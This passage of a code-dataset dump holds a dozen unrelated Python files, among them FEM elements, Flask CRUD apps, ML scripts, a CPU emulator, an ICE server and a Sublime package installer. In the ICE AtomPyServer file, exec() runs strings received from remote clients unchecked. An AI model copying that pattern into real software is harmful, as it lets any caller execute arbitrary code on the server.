len(data) == 12, 'len(data)=%s data=%s' % (len(data), data)\n self.prepareNodeIDs(nids, allowEmptyNodes=True)\n assert len(self.nodes) <= 10\n\n def cross_reference(self, model):\n msg = ' which is required by %s eid=%s' % (self.type, self.eid)\n self.nodes = model.Nodes(self.nodes, allowEmptyNodes=True, msg=msg)\n self.pid = model.Property(self.pid, msg=msg)\n\n def _verify(self, xref=False):\n eid = self.Eid()\n pid = self.Pid()\n nids = self.nodeIDs()\n assert isinstance(eid, int)\n assert isinstance(pid, int)\n for i,nid in enumerate(nids):\n assert nid is None or isinstance(nid, int), 'nid%i is not an integer/blank; nid=%s' %(i, nid)\n if xref:\n c = self.Centroid()\n v = self.Volume()\n assert isinstance(v, float)\n for i in range(3):\n assert isinstance(c[i], float)\n\n def N_10(self, g1, g2, g3, g4):\n N1 = g1 * (2 * g1 - 1)\n N2 = g2 * (2 * g2 - 1)\n N3 = g3 * (2 * g3 - 1)\n N4 = g4 * (2 * g4 - 1)\n N5 = 4 * g1 * g2\n N6 = 4 * g2 * g3\n N7 = 4 * g3 * g1\n N8 = 4 * g1 * g4\n N9 = 4 * g2 * g4\n N10 = 4 * g3 * g4\n return (N1, N2, N3, N4, N5, N6, N7, N8, N9, N10)\n\n def Volume(self):\n \"\"\"\n Gets the volume, :math:`V`, of the primary tetrahedron.\n\n .. seealso:: CTETRA4.Volume\n \"\"\"\n (n1, n2, n3, n4, n5, n6, n7, n8, n9, n10) = self.nodePositions()\n return volume4(n1, n2, n3, n4)\n\n def Centroid(self):\n \"\"\"\n Gets the cenroid of the primary tetrahedron.\n\n .. seealso:: CTETRA4.Centroid\n \"\"\"\n (n1, n2, n3, n4, n5, n6, n7, n8, n9, n10) = self.nodePositions()\n return (n1 + n2 + n3 + n4) / 4.\n\n def getFaceNodes(self, nidOpposite, nid=None):\n nids = self.nodeIDs()[:4]\n indx = nids.index(nidOpposite)\n nids.pop(indx)\n return nids\n\n def nodeIDs(self):\n return self._nodeIDs(allowEmptyNodes=True)\n","sub_path":"pyNastran/bdf/cards/elements/solid.py","file_name":"solid.py","file_ext":"py","file_size_in_byte":25586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"481235948","text":"from Notifications.entities.templates import templates\nfrom Notifications.models import db\nfrom Notifications.converters.templates_converter import templates_converters\n\nclass template_middleware:\n def get_templates(self):\n templates_data=templates.query.all()\n x=templates_data\n return templates_converters().template_entities_to_templates(templates_data)\n\n def add_templates(self,template):\n data =templates(id=template.id,name=template.name,occasion=template.occasion,author=template.author,header=template.header,body=template.body,footer=template.footer,image=template.image)\n db.session.add(data)\n db.session.commit()\n return self.get_template(template.id)\n\n def get_template(self,template_id):\n temp_data = templates.query.filter(templates.id==template_id).first()\n print(\"----------------------output in get_templates\")\n print(temp_data)\n return templates_converters().template_entity_to_template(temp_data)\n\n def update_template(self,template,temp_id):\n print(\"Template id in update_template\")\n print(temp_id)\n print(template.id)\n if temp_id==template.id:\n temp_data = templates.query.filter(templates.id==template.id).first()\n if temp_data is not None:\n temp_data.name=template.name\n temp_data.occasion=template.occasion\n temp_data.author=template.author\n temp_data.header=template.header\n temp_data.body=template.body\n temp_data.footer=template.footer\n temp_data.image=template.image\n db.session.add(temp_data)\n db.session.commit()\n return self.get_template(template.id)\n\n def delete_template(self,temp_id):\n temp_data = templates.query.filter(templates.id==temp_id).first()\n if temp_data is not None:\n templates.query.filter_by(id=temp_id).delete()\n db.session.commit()\n\n","sub_path":"Notifications/db_operations/templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350134789","text":"# -*- coding: utf-8 -*-\n\n# Imports\nfrom speedml import Speedml\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nsml = Speedml('train.csv', 'test.csv', target='Survived', uid='PassengerId')\n\nprint(sml.about())\n\n# 去掉异常点\nsml.feature.outliers('Fare', upper=99)\nsml.feature.outliers('Parch', upper=99)\n\nsml.feature.drop(['Ticket'])\nsml.feature.density('Age')\n\n# 新特征\nsml.feature.fillna(a='Cabin', new='Z')\nsml.feature.extract(new='Deck', a='Cabin', regex='([A-Z]){1}')\nsml.feature.drop(['Cabin'])\nsml.feature.mapping('Sex', {'male': 0, 'female': 1})\nsml.feature.sum(new='FamilySize', a='Parch', b='SibSp')\nsml.feature.add('FamilySize', 1)\n\nsml.feature.impute()\n\nsml.feature.extract(new='Title', a='Name', regex=' ([A-Za-z]+)\\.')\nsml.plot.crosstab('Title', 'Sex')\n\nsml.feature.replace(a='Title', match=['Lady', 'Countess', 'Capt', 'Col',\n 'Don', 'Dr', 'Major', 'Rev', 'Sir',\n 'Jonkheer', 'Dona'], new='Rare')\n\nsml.feature.replace('Title', 'Mlle', 'Miss')\nsml.feature.replace('Title', 'Ms', 'Miss')\nsml.feature.replace('Title', 'Mme', 'Mrs')\n\nprint(sml.train[['Name', 'Title']])\n\nsml.feature.drop(['Name'])\nsml.feature.labels(['Title', 'Embarked', 'Deck'])\nsml.train.head()\n\n# sml.plot.importance()\n\nsml.plot.correlate()\n\nprint(sml.about())\n\nsml.model.data()\n\nselect_params = {'max_depth': [3, 5, 7], 'min_child_weight': [1, 3, 5]}\nfixed_params = {'learning_rate': 0.1, 'subsample': 0.8,\n 'colsample_bytree': 0.8, 'seed': 0,\n 'objective': 'binary:logistic'}\n\nprint(sml.xgb.hyper(select_params, fixed_params))\n\nselect_params = {'learning_rate': [0.3, 0.1, 0.01], 'subsample': [0.7, 0.8, 0.9]}\nfixed_params = {'max_depth': 3, 'min_child_weight': 1,\n 'colsample_bytree': 0.8, 'seed': 0,\n 'objective': 'binary:logistic'}\n\nsml.xgb.hyper(select_params, fixed_params)\n\ntuned_params = {'learning_rate': 0.1, 'subsample': 0.8,\n 'max_depth': 3, 'min_child_weight': 1,\n 'seed':0, 'colsample_bytree': 0.8,\n 'objective': 'binary:logistic'}\nsml.xgb.cv(tuned_params)\n\ntuned_params['n_estimators'] = sml.xgb.cv_results.shape[0] - 1\nsml.xgb.params(tuned_params)\n\nsml.xgb.classifier()\n\nsml.model.evaluate()\nsml.plot.model_ranks()\n\nsml.model.ranks()\n\nsml.xgb.fit()\nsml.xgb.predict()\n\nsml.plot.xgb_importance()\n\nsml.xgb.feature_selection()\n\nprint(sml.xgb.sample_accuracy())\n","sub_path":"Titanic/code/Titanic Solution Using Speedml.py","file_name":"Titanic Solution Using Speedml.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"356139619","text":"# Define a daysBetweenDates procedure that would produce the\n# correct output if there was a correct nextDay procedure.\n#\n# Note that this will NOT produce correct outputs yet, since\n# our nextDay procedure assumes all months have 30 days\n# (hence a year is 360 days, instead of 365).\n# \n\ndef nextDay(year, month, day):\n \"\"\"Simple version: assume every month has 30 days\"\"\"\n if day < daysInMonth(year, month):\n return year, month, day + 1\n elif month == 12:\n return year + 1, 1, 1\n else:\n return year, month + 1, 1\n\ndef dateIsBefore(year1, month1, day1, year2, month2, day2):\n \"\"\"Returns True if year1-month1-day1 is before\n year2-month2-day2. Otherwise, returns False.\"\"\"\n if year1 < year2:\n return True\n if year1 == year2:\n if month1 < month2:\n return True\n if month1 == month2:\n return day1 < day2\n return False\n\ndef isLeapYear(year):\n if year%100:\n if year%4==0:\n return True\n elif year%400==0:\n return True\n return False\n\ndef daysInMonth(year, month):\n if isLeapYear(year) and month == 2:\n return 29\n elif month == 2:\n return 28\n elif month in (1,3,5,7,8,10,12):\n return 31\n return 30\n\ndef daysBetweenDates(year1, month1, day1, year2, month2, day2):\n \"\"\"Returns the number of days between year1/month1/day1\n and year2/month2/day2. Assumes inputs are valid dates\n in Gregorian calendar, and the first date is not after\n the second.\"\"\"\n assert dateIsBefore(year1, month1, day1, year2, month2, day2) \n # YOUR CODE HERE!\n days = 0\n while dateIsBefore(year1, month1, day1, year2, month2, day2):\n year1, month1, day1 = nextDay(year1, month1, day1)\n days += 1\n print (days)\n return days\n\ndef test():\n test_cases = [((2012, 9, 30, 2012, 12, 30), 91), \n ((2012, 1, 1, 2013, 1, 1), 366),\n ((2012,9,1,2012,9,4),3),\n ((2013,1,1,1999,12,31), \"AssertionError\")]\n \n for (args, answer) in test_cases:\n try:\n result = daysBetweenDates(*args)\n if result != answer:\n print (\"Test with data:\", args, \"failed\")\n else:\n print (\"Test case passed!\")\n except AssertionError:\n if answer == \"AssertionError\":\n print (\"Nice job! Test case {0} correctly raises AssertionError!\\n\".format(args))\n else:\n print (\"Check your work! Test case {0} should not raise AssertionError!\\n\".format(args) ) \ntest()","sub_path":"daysold/daysBetweenDates.py","file_name":"daysBetweenDates.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342866122","text":"import minimax as mm\n\nclass Game:\n row = 0\n col = 0\n\n# this function will do the min max algo and return the best move\ndef find_best_move(board, alpha, beta, target_len,team_A,team_B):\n\n bestVal = -1000\n bestMove = Game()\n bestMove.row = -1\n bestMove.col = -1\n legal_moves = mm.get_legal_moves(board,team_A,team_B)\n print(len(legal_moves))\n print(legal_moves)\n for i in range(0, len(legal_moves)):\n curr_move = legal_moves[i]\n board[curr_move[0], curr_move[1]] = team_A\n moveVal = mm.minimax_score_with_cache(board, 0, False, alpha, beta, target_len,team_A,team_B)\n board[curr_move[0], curr_move[1]] = '_'\n if moveVal > bestVal:\n bestMove.row = curr_move[0]\n bestMove.col = curr_move[1]\n bestVal = moveVal\n return bestMove.row, bestMove.col\n","sub_path":"final game/bestMove.py","file_name":"bestMove.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497354620","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom peyotl import get_logger\nimport sys\nimport os\nfrom taxalotl.tax_partition import (get_taxon_partition, INP_TAXONOMY_DIRNAME, MISC_DIRNAME)\n\n_LOG = get_logger(__name__)\n\n\ndef get_frag_from_dir(taxalotl_conf, tax_dir):\n res = taxalotl_conf.get_terminalized_res_by_id(\"ott\")\n pd = res.partitioned_filepath\n assert tax_dir.startswith(pd)\n f = tax_dir[len(pd):]\n while f.startswith('/'):\n f = f[1:]\n return f\n\n\ndef compare_taxonomies_in_dir(taxalotl_conf, tax_dir):\n fragment = get_frag_from_dir(taxalotl_conf, tax_dir)\n _LOG.info(\"fragment = {}\".format(fragment))\n tax_id_set = set()\n non_misc_dir = os.path.join(tax_dir, INP_TAXONOMY_DIRNAME)\n misc_dir = os.path.join(tax_dir, MISC_DIRNAME, INP_TAXONOMY_DIRNAME)\n for sd in [misc_dir, non_misc_dir]:\n if os.path.exists(sd):\n tax_id_set.update(os.listdir(sd))\n out = sys.stdout\n for res_id in tax_id_set:\n res = taxalotl_conf.get_resource_by_id(res_id)\n tp = get_taxon_partition(res, fragment)\n tp.read_inputs_for_read_only()\n tf = tp.get_taxa_as_forest()\n out.write(\"taxonomy for {} according to {}\".format(fragment, res_id))\n tf.write_indented(out)\n","sub_path":"taxalotl/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421969189","text":"import numpy as np \nfrom .distances import euclidean_distances, manhattan_distances, cosine_distances\n\ndef mean(some_arr):\n return np.mean(some_arr, axis=0)\n\ndef mode(some_arr):\n scores = np.unique(np.ravel(some_arr))\n testshape = list(some_arr.shape)\n testshape[0] = 1\n oldmostfreq = np.zeros(testshape)\n oldcounts = np.zeros(testshape)\n\n for score in scores:\n template = (some_arr == score)\n counts = np.expand_dims(np.sum(template, 0),0)\n mostfrequent = np.where(counts > oldcounts, score, oldmostfreq)\n oldcounts = np.maximum(counts, oldcounts)\n oldmostfreq = mostfrequent\n\n return mostfrequent[0]\n\ndef median(some_arr):\n return np.median(some_arr, axis=0)\n\nclass KNearestNeighbor(): \n def __init__(self, n_neighbors, distance_measure='euclidean', aggregator='mode'):\n \"\"\"\n K-Nearest Neighbor is a straightforward algorithm that can be highly\n effective. Training time is...well...is there any training? At test time, labels for\n new points are predicted by comparing them to the nearest neighbors in the\n training data.\n\n ```distance_measure``` lets you switch between which distance measure you will\n use to compare data points. The behavior is as follows:\n\n If 'euclidean', use euclidean_distances, if 'manhattan', use manhattan_distances,\n if 'cosine', use cosine_distances.\n\n ```aggregator``` lets you alter how a label is predicted for a data point based \n on its neighbors. If it's set to `mean`, it is the mean of the labels of the\n neighbors. If it's set to `mode`, it is the mode of the labels of the neighbors.\n If it is set to median, it is the median of the labels of the neighbors. If the\n number of dimensions returned in the label is more than 1, the aggregator is\n applied to each dimension independently. For example, if the labels of 3 \n closest neighbors are:\n [\n [1, 2, 3], \n [2, 3, 4], \n [3, 4, 5]\n ] \n And the aggregator is 'mean', applied along each dimension, this will return for \n that point:\n [\n [2, 3, 4]\n ]\n\n Arguments:\n n_neighbors {int} -- Number of neighbors to use for prediction.\n distance_measure {str} -- Which distance measure to use. Can be one of\n 'euclidean', 'manhattan', or 'cosine'. This is the distance measure\n that will be used to compare features to produce labels. \n aggregator {str} -- How to aggregate a label across the `n_neighbors` nearest\n neighbors. Can be one of 'mode', 'mean', or 'median'.\n \"\"\"\n self.n_neighbors = n_neighbors\n self.features = None\n self.targets = None\n\n if aggregator == \"mode\":\n self.aggregator = mode\n elif aggregator == \"median\":\n self.aggregator = median\n elif aggregator == \"mean\":\n self.aggregator = mean\n else:\n self.aggregator = \"fuck\"\n raise AssertionError(f\"Unknown aggregator {aggregator}\")\n\n if distance_measure == \"euclidean\":\n self.distancer = euclidean_distances\n elif distance_measure == \"manhattan\":\n self.distancer = manhattan_distances\n elif distance_measure == \"cosine\":\n self.distancer = cosine_distances\n else:\n raise AssertionError(f\"Unknown distance measurer {distance_measure}\")\n\n\n def fit(self, features, targets):\n \"\"\"\n Fit features, a numpy array of size (n_samples, n_features). For a KNN, this\n function should store the features and corresponding targets in class \n variables that can be accessed in the `predict` function. Note that targets can\n be multidimensional! \n \n HINT: One use case of KNN is for imputation, where the features and the targets \n are the same. See tests/test_collaborative_filtering for an example of this.\n \n Arguments:\n features {np.ndarray} -- Features of each data point, shape of (n_samples,\n n_features).\n targets {[type]} -- Target labels for each data point, shape of (n_samples, \n n_dimensions).\n \"\"\"\n\n self.features = features\n self.targets = targets\n\n def predict(self, features, ignore_first=False):\n \"\"\"Predict from features, a numpy array of size (n_samples, n_features) Use the\n training data to predict labels on the test features. For each testing sample, compare it\n to the training samples. Look at the self.n_neighbors closest samples to the \n test sample by comparing their feature vectors. The label for the test sample\n is the determined by aggregating the K nearest neighbors in the training data.\n\n Note that when using KNN for imputation, the predicted labels are the imputed testing data\n and the shape is (n_samples, n_features).\n\n Arguments:\n features {np.ndarray} -- Features of each data point, shape of (n_samples,\n n_features).\n ignore_first {bool} -- If this is True, then we ignore the closest point\n when doing the aggregation. This is used for collaborative\n filtering, where the closest point is itself and thus is not a neighbor. \n In this case, we would use 1:(n_neighbors + 1).\n\n Returns:\n labels {np.ndarray} -- Labels for each data point, of shape (n_samples,\n n_targets)\n \"\"\"\n\n #print(\"features is\\n\", features, \"\\n\\n\", \"and training is\\n\", self.features, \"\\n\\n\")\n \n distances = self.distancer(features, self.features)\n\n n_samples, n_features = features.shape\n n_s, n_t = self.targets.shape\n\n pred = np.empty((n_samples, n_t))\n\n for itc, this_sample in enumerate(distances):\n if not ignore_first:\n sorted_indices = np.argsort(this_sample)[:self.n_neighbors]\n else:\n sorted_indices = np.argsort(this_sample)[1:(self.n_neighbors+1)]\n my_targs = self.targets[sorted_indices]\n pred[itc] = self.aggregator(my_targs)\n\n return pred","sub_path":"knn/code/k_nearest_neighbor.py","file_name":"k_nearest_neighbor.py","file_ext":"py","file_size_in_byte":6328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"19590352","text":"# Author: Sachin Kumar\n# Github: https://github.com/skumar24\n\n# Day 8: Dictionaries and Maps\n# Problem Url: https://www.hackerrank.com/challenges/30-dictionaries-and-maps/copy-from/118478043\n# Score: 30\n\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nn = int(input())\npb = {}\nfor i in range(n):\n inp = str(input())\n pb[inp.split(\" \")[0]] = inp.split(\" \")[1]\nwhile True:\n try:\n inp = str(input())\n except EOFError:\n break\n if inp in pb:\n print(\"{0}={1}\".format(inp, pb[inp]))\n else:\n print(\"Not found\")\n","sub_path":"30 Days of Code/Day-8-Dictionaries-Maps.py","file_name":"Day-8-Dictionaries-Maps.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"533819155","text":"#!/usr/bin/env python\n\nimport sys, Ice, traceback\nfrom gevent import threadpool\n\nIce.loadSlice('fd_atom_py.ice')\nimport com.feidao.platform.core.fdice.py.atomslice as atomslice\n\n\nclass Accessor(object):\n def __init__(self, r):\n self.r = r\n\n\nclass ThreadPoolManager(object):\n def __init__(self):\n self.tp = threadpool.ThreadPool(4)\n def addTask(self, cb, arg0, current):\n try:\n def task():\n print('执行任务')\n #raise atomslice.AtomPyExecException('1234')\n exec(arg0)\n cb.ice_response(str(r))\n #cb.ice_response('3333')\n #cb.ice_exception(atomslice.AtomPyExecException('1234'))\n \n print('添加任务前')\n self.tp.spawn(task)\n print('添加任务后')\n except:\n print('执行Python原子操作异常.异常信息如下:\\n' + traceback.format_exc())\n cb.ice_exception(atomslice.AtomPyExecException('执行Python原子操作异常.异常信息如下:\\n' + traceback.format_exc()))\n \n\nclass AtomPyServiceI(atomslice.AtomPyService):\n def __init__(self, tpManager):\n self.tpManager = tpManager\n\n def exec_async(self, cb, arg0, arg1, current=None):\n self.tpManager.addTask(cb, arg0, current)\n \n\nclass Server(Ice.Application):\n def __init__(self):\n self.tpManager = ThreadPoolManager()\n \n def run(self, args):\n if len(args) > 1:\n print(self.appName() + \": too many arguments\")\n return 1\n\n self.callbackOnInterrupt()\n\n adapter = self.communicator().createObjectAdapter(\"AtomPyService\")\n #self._workQueue = WorkQueue()\n adapter.add(AtomPyServiceI(self.tpManager), self.communicator().stringToIdentity(\"atomPyService\"))\n \n #self.tpManager.addTask()\n \n #self._workQueue.start()\n adapter.activate()\n \n self.communicator().waitForShutdown()\n #self._workQueue.join()\n return 0\n\n #def interruptCallback(self, sig):\n # self._workQueue.destroy()\n # self._communicator.shutdown()\n\napp = Server()\nsys.exit(app.main(sys.argv, \"config.atompyserver\"))","sub_path":"feidao-core-communication-python-atom/slice/AtomPyServer.py","file_name":"AtomPyServer.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"239661953","text":"import os\nimport csv\n\ncsvpath = os.path.join('Resources', 'cereal.csv')\nwith open(csvpath, newline='') as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n\n csv_header = next(csvreader)\n\n print(\"The following cereal have >=5 g of fiber:\")\n for row in csvreader:\n # if fiber is greater than or equal to 5, print out the cereal name\n if float(row[7]) >= 5:\n print(row[0])\n","sub_path":"Python/Day3/01-Stu_CerealCleaner/cereal_MySol.py","file_name":"cereal_MySol.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"603329399","text":"\"\"\"CPU functionality.\"\"\"\n\nimport sys\n\n### OP CODES ###\nLDI = 0b10000010\nPRN = 0b01000111\nHLT = 0b00000001\nMUL = 0b10100010\n\n\nclass CPU:\n \"\"\"Main CPU class.\"\"\"\n\n def __init__(self):\n \"\"\"Construct a new CPU.\"\"\"\n # 8 general-purpose registers\n self.reg = [0] * 8\n # 256 bytes of memory\n self.ram = [0] * 256\n # program counter\n self.pc = 0\n\n def load(self, file):\n \"\"\"Load a program into memory.\"\"\"\n try:\n address = 0\n\n with open(file) as f:\n for line in f:\n # strip out white space, split at inline comment\n cleaned_line = line.strip().split(\"#\")\n # grab number\n value = cleaned_line[0].strip()\n\n # check if blank or not, if blank skip to next line\n if value != \"\":\n # convert from binary to num\n num = int(value, 2)\n self.ram[address] = num\n address += 1\n\n else:\n continue\n\n except FileNotFoundError:\n # exit and give error\n print(\"ERROR: File not found\")\n sys.exit(1)\n\n def alu(self, op, reg_a, reg_b):\n \"\"\"ALU operations.\"\"\"\n\n if op == \"ADD\":\n self.reg[reg_a] += self.reg[reg_b]\n # elif op == \"SUB\": etc\n\n elif op == \"SUB\":\n self.reg[reg_a] -= self.reg[reg_b]\n\n elif op == \"MUL\":\n self.reg[reg_a] *= self.reg[reg_b]\n\n elif op == \"DIV\":\n self.reg[reg_a] /= self.reg[reg_b]\n\n else:\n raise Exception(\"Unsupported ALU operation\")\n\n def trace(self):\n \"\"\"\n Handy function to print out the CPU state. You might want to call this\n from run() if you need help debugging.\n \"\"\"\n\n print(\n f\"TRACE: %02X | %02X %02X %02X |\"\n % (\n self.pc,\n # self.fl,\n # self.ie,\n self.ram_read(self.pc),\n self.ram_read(self.pc + 1),\n self.ram_read(self.pc + 2),\n ),\n end=\"\",\n )\n\n for i in range(8):\n print(\" %02X\" % self.reg[i], end=\"\")\n\n print()\n\n def ram_read(self, mar):\n \"\"\"\n should accept the address to read and \n return the value stored there.\n\n MAR = Memory Address Register\n MAR contains the address that is being read or written to.\n \"\"\"\n return self.ram[mar]\n\n def ram_write(self, mdr, mar):\n \"\"\"\n should accept a value to write, and \n the address to write it to.\n\n MDR = Memory Data Register\n MAR = Memory Address Register\n\n MAR contains the address that is being read or written to. The MDR contains\n the data that was read or the data to write.\n \"\"\"\n self.ram[mar] = mdr\n\n def run(self):\n \"\"\"Run the CPU.\"\"\"\n while True:\n op = self.ram_read(self.pc)\n if op == LDI:\n # Set the value of a register to an integer.\n index = self.ram[self.pc + 1]\n value = self.ram[self.pc + 2]\n self.reg[index] = value\n self.pc += 3\n\n elif op == PRN:\n # Print numeric value stored in the given register.\n index = self.ram[self.pc + 1]\n print(self.reg[index])\n self.pc += 2\n\n elif op == MUL:\n reg_a = self.ram_read(self.pc + 1)\n reg_b = self.ram_read(self.pc + 2)\n self.alu(\"MUL\", reg_a, reg_b)\n self.pc += 3\n\n elif op == HLT:\n # hHalt the CPU (and exit the emulator).\n print(\"Exiting...\")\n sys.exit(0)\n\n else:\n print(\"ERROR: Unknown command\")\n sys.exit(1)\n","sub_path":"ls8/cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"503171624","text":"from rasa_sdk import Action\nfrom .UnisecForm import UnisecForm\nfrom .UnisecValidator import UnisecValidator\nfrom typing import Any, Text, Dict, List, Union\nfrom rasa_sdk.events import SlotSet, AllSlotsReset, BotUttered, FollowupAction\nimport pymongo\nimport re\n\nclient = pymongo.MongoClient(\"localhost\", 27017)\ndb = client[\"unisec-db\"]\n\n\nclass FormAdmission(UnisecForm):\n def name(self):\n return \"form_admission\"\n\n @staticmethod\n def required_validation_slot():\n return ['entity_university']\n\n def required_slots(self, tracker):\n if tracker.get_slot('entity_university') == None:\n return ['entity_university']\n return []\n\n def slot_mappings(self) -> Dict[Text, Union[Dict, List[Dict]]]:\n \"\"\"A dictionary to map required slots to\n - an extracted entity\n - intent: value pairs\n - a whole message\n or a list of them, where a first match will be picked\"\"\"\n\n return {\n \"entity_university\": [\n self.from_entity(entity=\"entity_university\", intent=[\"intent_admission\", \"inform\"])],\n }\n\n def before_slot_fill(self, dispatcher, tracker, domain):\n return []\n\n def submit(self, dispatcher, tracker, domain):\n try:\n entity_university = self.get_slot('entity_university')[0]\n entity_university_validated = self.get_slot('entity_university_validated')[0]\n except:\n entity_university = None\n entity_university_validated = None\n\n if entity_university_validated != None:\n try:\n dt = db.admission.find_one({ 'university_id': entity_university_validated})\n data = dt['admission']\n dispatcher.utter_message(\"sau đây là thông tin chỉ tiêu trường \" + entity_university)\n dispatcher.utter_message(data)\n except:\n dispatcher.utter_message(\"không tìm thấy thông tin tuyển sinh trường \" + entity_university)\n\n return [AllSlotsReset()]\n","sub_path":"Actions/FormAdmission.py","file_name":"FormAdmission.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"185693923","text":"from flask import Flask, jsonify, request, render_template\nfrom models import Session, TV, Fridge\nfrom config import PORT\n\n\napp = Flask(__name__)\nsession = Session()\n\n\n@app.route('/')\ndef main():\n \"\"\"Start page\n :return: index.html page with filled data\"\"\"\n\n response_object = {'fridges': [x.json() for x in session.query(Fridge).all()]}\n return render_template('index.html', products_dict=response_object)\n\n\n@app.route(\"/fridge/\", methods=[\"GET\", \"POST\"])\ndef fridge():\n \"\"\"Increases the number of clicks for the fridge\n and writes it to the database\n :return: json data for the fridges\"\"\"\n\n if request.method == \"POST\":\n fridge_id = request.get_json()['id']\n selected_fridge = session.query(Fridge).filter_by(id=int(fridge_id)).first()\n selected_fridge.clicks += 1\n session.commit()\n\n response_object = {'fridge': [x.json() for x in session.query(Fridge).all()]}\n\n return jsonify(response_object)\n\n\n@app.route(\"/tv/\", methods=[\"GET\", \"POST\"])\ndef tv():\n \"\"\"Increases the number of clicks for the tv\n and writes it to the database\n :return: json data for tv\"\"\"\n\n if request.method == \"POST\":\n tv_id = request.get_json()['id']\n selected_tv = session.query(TV).filter_by(id=int(tv_id)).first()\n selected_tv.clicks += 1\n session.commit()\n\n response_object = {'tv': [x.json() for x in session.query(TV).all()]}\n\n return jsonify(response_object)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=PORT)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"357292582","text":"def fibonacci(n):\r\n if n <= 1:\r\n return n\r\n else:\r\n return(fibonacci(n-1) + fibonacci(n-2))\r\n\r\ninput_num = int(input(\"Enter a number: \"))\r\n\r\nif input_num <= 0:\r\n print(\"Please enter a positive number\")\r\nelse:\r\n print(\"Fibonacci Sequence: \")\r\n for i in range(input_num):\r\n print(fibonacci(i))","sub_path":"python/Activity_14.py","file_name":"Activity_14.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"390255371","text":"import sublime\nimport sublime_plugin\nimport threading\nimport urllib\nimport hashlib\nimport traceback\nimport os\nfrom os.path import join\nfrom ..utils import (\n add_action, ThreadProgress, get_schema_version,\n send_package_action,\n reset_packages,\n load_packages\n)\n\n\nclass JavatarInstallCommand(sublime_plugin.WindowCommand):\n action = \"invalid\"\n\n def run(self, installtype=None, name=None, filename=None, url=None, checksum=None):\n if installtype is not None:\n add_action(\n \"javatar.command.install.run\",\n \"Install Package [type={}, name={}]\".format(\n installtype,\n name\n )\n )\n self.pname = name\n if installtype == \"remote_package\":\n self.action = \"install\"\n thread = JavatarRemotePackageInstallerThread(name, filename, url, checksum, self.on_complete)\n thread.start()\n ThreadProgress(thread, \"Installing Javatar package \\\"\" + name + \"\\\"\", \"Javatar package \\\"\" + name + \"\\\" has been successfully installed\")\n elif installtype == \"uninstall_package\":\n self.action = \"uninstall\"\n thread = JavatarPackageUninstallerThread(name, filename, self.on_complete)\n thread.start()\n ThreadProgress(thread, \"Uninstalling Javatar package \\\"\" + name + \"\\\"\", \"Javatar package \\\"\" + name + \"\\\" has been successfully uninstalled\")\n\n def getPackageData(self):\n data = {}\n data[\"SchemaVersion\"] = get_schema_version()\n data[\"PackageAction\"] = self.action\n data[\"PackageName\"] = self.pname\n data[\"SublimeVersion\"] = str(sublime.version())\n data[\"Platform\"] = sublime.platform()\n return data\n\n def on_complete(self):\n send_package_action(self.getPackageData())\n reset_packages()\n no_require = False\n if self.action == \"uninstall\":\n no_require = True\n load_packages(no_require)\n\n\nclass JavatarPackageUninstallerThread(threading.Thread):\n def __init__(self, name, filename, on_complete=None):\n self.pkgname = name\n if filename[0:8] == \"Packages\":\n self.filename = sublime.packages_path() + filename[8:]\n else:\n self.filename = filename\n self.on_complete = on_complete\n threading.Thread.__init__(self)\n\n def run(self):\n try:\n os.remove(self.filename)\n self.result = True\n if self.on_complete is not None:\n sublime.set_timeout(self.on_complete, 3000)\n except Exception as e:\n self.result_message = \"Javatar package \\\"\" + self.pkgname + \"\\\" uninstallation has failed: \" + str(e)\n traceback.print_exc()\n self.result = False\n\n\nclass JavatarRemotePackageInstallerThread(threading.Thread):\n def __init__(self, name, filename, url, checksum, on_complete=None):\n self.pkgname = name\n self.filename = filename\n self.url = url\n self.checksum = checksum\n self.on_complete = on_complete\n threading.Thread.__init__(self)\n\n def run(self):\n try:\n self.result_message = \"Javatar package \\\"\" + self.pkgname + \"\\\" has been corrupted\"\n urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()))\n data = urllib.request.urlopen(self.url + self.filename + \".javatar-packages\").read()\n datahash = hashlib.sha256(data).hexdigest()\n if self.checksum != datahash:\n self.result = False\n return\n open(join(sublime.packages_path(), \"user\", self.filename + \".javatar-packages\"), \"wb\").write(data)\n self.result = True\n if self.on_complete is not None:\n sublime.set_timeout(self.on_complete, 3000)\n except Exception as e:\n self.result_message = \"Javatar package \\\"\" + self.pkgname + \"\\\" installation has failed: \" + str(e)\n traceback.print_exc()\n self.result = 